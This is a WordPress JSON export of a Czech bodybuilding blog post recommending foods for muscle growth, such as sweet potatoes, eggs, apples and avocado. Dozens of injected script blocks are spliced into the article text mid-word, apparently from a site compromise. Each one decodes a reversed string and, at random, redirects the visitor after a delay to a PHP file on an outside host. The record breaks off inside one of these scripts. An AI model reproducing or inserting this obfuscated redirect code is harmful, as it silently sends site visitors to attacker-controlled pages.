{"id":260,"date":"2020-03-31T21:48:34","date_gmt":"2020-03-31T21:48:34","guid":{"rendered":"http:\/\/www.svetkulturistiky.cz\/?p=260"},"modified":"2020-03-31T21:48:34","modified_gmt":"2020-03-31T21:48:34","slug":"nakrmte-svoje-svaly","status":"publish","type":"post","link":"https:\/\/svetkulturistiky.cz\/index.php\/2020\/03\/31\/nakrmte-svoje-svaly\/","title":{"rendered":"NAKRMTE SVOJE SVALY"},"content":{"rendered":"<p><strong>POKUD SE SNA\u017d\u00cdTE BUDOVAT SVALOVOU HMOTU, ZA\u010cN\u011aTE T\u00cdM, \u017dE NA VA\u0160EM TAL\u00cd\u0158I NEBUDOU CHYB\u011aT N\u00c1SLEDUJ\u00cdC\u00cd POTRAVINY.<\/strong><\/p>\n<p>&nbsp;<\/p>\n<p>KDYBY BYLO BUDOV\u00c1N\u00cd SVAL\u016e SNADN\u00c9, pak by v\u0161ude kolem n\u00e1s chodili svalovci. V re\u00e1lu se na cest\u011b k\u00a0budov\u00e1n\u00ed hmoty st\u00e1le vyskytuj\u00ed n\u011bjak\u00e9 p\u0159ek\u00e1\u017eky, tud\u00ed\u017e nejde o nijak jednoduch\u00fd proces. Zejm\u00e9na, co se t\u00fd\u010de v\u00fd\u017eivy. A\u010dkoliv jist\u011b dob\u0159e zn\u00e1te z\u00e1sady kulturistick\u00e9 stravy, sestavili jsme pro v\u00e1s seznam n\u011bkter\u00fdch \u010das<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to p\u0159ehl\u00ed\u017een\u00fdch potravin, kter\u00e9 mohou budov\u00e1n\u00ed svalov\u00e9 hmoty skv\u011ble podpo\u0159it a pomoci v\u00e1m tak dos\u00e1hnout va\u0161ich c\u00edl\u016f. Jednotliv\u00e9 polo\u017eky jsme rozd\u011blili do t\u0159\u00ed level\u016f podle jejich priority. V\u00a0prvn\u00edm levelu je volba zam\u011b\u0159en\u00e1 na z\u00e1kladn\u00ed makronutri\u010dn\u00ed l\u00e1tky. Ve druh\u00e9m se zam\u011b\u0159ujeme na dostatek energie nutn\u00e9 ke zvl\u00e1dnut\u00ed tr\u00e9ninku a na regeneraci. Level t\u0159i pak zahrnuji potraviny, kter\u00e9 n\u011bjak\u00fdm specifick\u00fdch a speci\u00e1ln\u00edm zp\u016fsobem ovliv\u0148uj\u00ed anabolismus.<\/p>\n<ol>\n<li><strong>LEVEL<\/strong><\/li>\n<\/ol>\n<p>V\u00a0t\u00e9<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to skupin\u011b najdete potraviny poskytuj\u00edc\u00ed t\u011blu z\u00e1kladn\u00ed \u017eiviny. B\u00edlkoviny jsou pro budov\u00e1n\u00ed svalov\u00e9 hmoty nezbytn\u00e9, podporuj\u00ed i regeneraci. Zdrav\u00e9 tuky pot\u0159ebujete pro produkci hormon\u016f, spjat\u00fdch s\u00a0r\u016fstem sval\u016f, a sacharidy poskytuj\u00ed energii pro intenzivn\u00ed tr\u00e9nink, sou\u010dasn\u011b zabra\u0148uj\u00ed <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tomu, aby t\u011blo jako zdroj energie vyu\u017e\u00edvalo proteiny. Adekv\u00e1tn\u00ed d\u00e1vka \u017eivo\u010di\u0161n\u00fdch protein\u016f (ku\u0159ec\u00ed maso, ryby, kr\u016ft\u00ed a libov\u00e9 hov\u011bz\u00ed maso) by tedy na va\u0161em s<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tole rozhodn\u011b nem\u011bla chyb\u011bt.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>SLADK\u00c9 BRAMBORY<\/strong><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-270 alignleft\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/03\/vegetable-3559112_640-300x169.jpg\" alt=\"\" width=\"300\" height=\"169\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/03\/vegetable-3559112_640-300x169.jpg 300w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/03\/vegetable-3559112_640.jpg 640w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/>Sladk\u00e9 brambory jsou bohat\u00e9 na vitamin C, obsahuj\u00ed 25 % denn\u00ed doporu\u010den\u00e9 d\u00e1vky drasl\u00edku a jsou tak\u00e9 fantastick\u00fdm zdrojem energie. A co v\u00edc, d\u00edky obsahu vitaminu B6, podporuj\u00ed metabolismus aminokyselin a b\u00edlkovin, co\u017e znamen\u00e1, \u017ee svaly dost\u00e1vaj\u00ed v\u00edce v\u0161ech \u017eivin nutn\u00fdch k\u00a0podpo\u0159e r\u016fstu. Sladk\u00e9 brambory tedy podpo\u0159\u00ed nejenom v\u00fdkon v\u00a0posilovn\u011b, ale tak\u00e9 n\u00e1slednou regeneraci.<\/p>\n<p>BONUSOV\u00dd TIP: maxim\u00e1ln\u00ed v\u00fd\u017eivovou hodnotu si zachovaj\u00ed, pokud je konzumujete i se slupkou.<\/p>\n<p><strong>COTTAGE S\u00ddR<\/strong><\/p>\n<p>Obsahuje m\u00e1lo tuk\u016f a hodn\u011b b\u00edlkovin, co\u017e z\u00a0n\u011bj \u010din\u00ed prakticky dokonal\u00fd zdroj protein\u016f. B\u00edlkoviny v\u00a0n\u011bm obsa\u017een\u00e9 jsou p\u0159edev\u0161\u00edm ve form\u011b kaseinu, pomalu straviteln\u00e9ho proteinu, kter\u00fd zajist\u00ed postupn\u00e9 z\u00e1soben\u00ed aminokyselinami nezbytn\u00fdmi pro hypertrofii a regeneraci. Jezte ho p\u0159ed span\u00edm, abyste sv\u00fdm sval\u016fm poskytli \u017eiviny na celou noc.<\/p>\n<p>BONUSOV\u00dd TIP: dochutit ho m\u016f\u017eete nap\u0159\u00edklad ananasem, raj\u010daty nebo avok\u00e1dem a hned m\u00e1te k\u00a0dispozici rychl\u00fd ob\u011bd.<\/p>\n<p><strong>VAJ\u00cd\u010cKA<\/strong><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-269 alignright\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/03\/egg-1374141_640-300x200.jpg\" alt=\"\" width=\"300\" height=\"200\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/03\/egg-1374141_640-300x200.jpg 300w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/03\/egg-1374141_640.jpg 640w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/>Obsahuj\u00ed v\u00edce leucinu ne\u017e kter\u00fdkoliv jin\u00fd zdroj b\u00edlkovin. Vaj\u00ed\u010dka jsou ned\u00edlnou sou\u010d\u00e1st\u00ed kulturistick\u00e9 stravy. Nab\u00edz\u00ed snadno straviteln\u00e9 aminokyseliny, kter\u00e9 se do krve vst\u0159eb\u00e1vaj\u00ed opravdu rychle. Vaj\u00ed\u010dka tak\u00e9 navozuj\u00ed pocit nasycen\u00ed a jsou zdrojem \u017eeleza, vitaminu A a v\u00e1pn\u00edku. Zapomenout samoz\u0159ejm\u011b nesm\u00edme ani na esenci\u00e1ln\u00ed aminokyseliny.<\/p>\n<p>BONUSOV\u00dd TIP: sna\u017ete se kupovat bio vaj\u00ed\u010dka a vaj\u00ed\u010dka od nosnic chovan\u00fdch na podest\u00fdlce. Je d\u016fle\u017eit\u00e9, aby \u0161lo o vaj\u00ed\u010dka od slepic, kter\u00e9 nebyly krmeny hormony, antibiotiky a potravou boha<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tou na pesticidy.<\/p>\n<p><strong>JABLKA<\/strong><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-268 alignleft\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/03\/red-3580560_640-300x200.jpg\" alt=\"\" width=\"300\" height=\"200\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/03\/red-3580560_640-300x200.jpg 300w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/03\/red-3580560_640.jpg 640w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/>Polyfenoly \u2013 p\u0159\u00edrodn\u00ed l\u00e1tky obsa\u017een\u00e9 v\u00a0rostlin\u00e1ch \u2013 kter\u00e9 se nach\u00e1z\u00ed v\u00a0jablk\u00e1ch, maj\u00ed velmi speci\u00e1ln\u00ed vliv na svaly. V\u00a0r\u00e1mci jedn\u00e9 studie bylo prok\u00e1z\u00e1no, \u017ee jable\u010dn\u00e9 polyfenoly ve skute\u010dnosti podporuj\u00ed hus<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>totu svalov\u00fdch vl\u00e1ken. V\u00a0r\u00e1mci dal\u0161\u00ed studie proveden\u00e9 na University of Iowa v\u011bdci zjistili, \u017ee l\u00e1tka obsa\u017een\u00e1 ve slupce jablek, tzn. kyselina ursolov\u00e1, podporuje hormon\u00e1ln\u00ed aktivitu d\u016fle\u017ei<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tou pro budov\u00e1n\u00ed sval\u016f.<\/p>\n<p>BONUSOV\u00dd TIP: dejte si jablko p\u0159ed tr\u00e9ninkem a vyu\u017eijte pomalu straviteln\u00fdch sacharid\u016f i vl\u00e1kniny, kter\u00e9 v\u00e1m nab\u00edz\u00ed.<\/p>\n<p><strong>\u010cERN\u00c9 FAZOLE<\/strong><\/p>\n<p>Obsahuj\u00ed hodn\u011b b\u00edlkovin, vl\u00e1kniny a vitamin\u016f A, C a K. \u010cern\u00e9 fazole jsou jedn\u00edm z\u00a0nejlep\u0161\u00edch zdroj\u016f vegetari\u00e1nsk\u00fdch protein\u016f. V\u00a0roce 2003 byla provedena studie, kter\u00e1 prok\u00e1zala, \u017ee obsahuj\u00ed antioxida\u010dn\u00ed flavonoidy, kter\u00e9 n\u00e1s chr\u00e1n\u00ed proti rakovin\u011b, onemocn\u011bn\u00edm srdce a p\u0159ed\u010dasn\u00fdm st\u00e1rnut\u00edm.<\/p>\n<p>BONUSOV\u00dd TIP: konzervovan\u00e9 fazole maj\u00ed stejn\u00fd v\u00fd\u017eivov\u00fd profil jako fazole doma va\u0159en\u00e9, p\u0159i<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tom jsou na zpracov\u00e1n\u00ed v\u00fdrazn\u011b pohodln\u011bj\u0161\u00ed.<\/p>\n<p><strong>AVOK\u00c1DO<\/strong><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-267 alignright\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/03\/appetite-1238256_640-300x195.jpg\" alt=\"\" width=\"300\" height=\"195\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/03\/appetite-1238256_640-300x195.jpg 300w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/03\/appetite-1238256_640.jpg 640w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/>Je skv\u011bl\u00fdm zdrojem vitamin\u016f skupiny B, vitamin\u016f K\u00a0a C, drasl\u00edku atd. Vl\u00e1knina obsa\u017een\u00e1 v\u00a0avok\u00e1du slou\u017e\u00ed stejn\u011b jako zdrav\u00e9 tuky jako zdroj energie pro tr\u00e9nink. Antioxidanty podporuj\u00ed regeneraci sval\u016f a jejich r\u016fst. Zdrav\u00e9 mononenasycen\u00e9 mastn\u00e9 kyseliny podpo\u0159\u00ed optim\u00e1ln\u00ed produkci hormon\u016f.<\/p>\n<p>BONUSOV\u00dd TIP: p\u0159idejte kousky avok\u00e1da do m\u00edchan\u00fdch vaj\u00ed\u010dek a sal\u00e1t\u016f, avok\u00e1do se hod\u00ed i do pomaz\u00e1nek a na sendvi\u010de.<\/p>\n<p>&nbsp;<\/p>\n<ol start=\"2\">\n<li><strong>LEVEL<\/strong><\/li>\n<\/ol>\n<p>Potraviny z\u00a0t\u00e9<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to kategorie b\u00fdvaj\u00ed \u010das<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to p\u0159ehl\u00ed\u017eeny, pro<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to\u017ee v\u011bt\u0161ina z\u00a0nich nen\u00ed chu\u0165ov\u011b zrovna zaj\u00edmav\u00e1. Va\u0161im sval\u016fm ale nab\u00edz\u00ed \u017eiviny a p\u0159\u00edrodn\u00ed l\u00e1tky, kter\u00e9 urychluj\u00ed regeneraci a tlum\u00ed z\u00e1n\u011bty i bolest sval\u016f, tak\u017ee budete schopni rychleji nas<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toupit k\u00a0dal\u0161\u00edmu tr\u00e9ninku a po\u0159\u00e1dn\u011b se do <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return 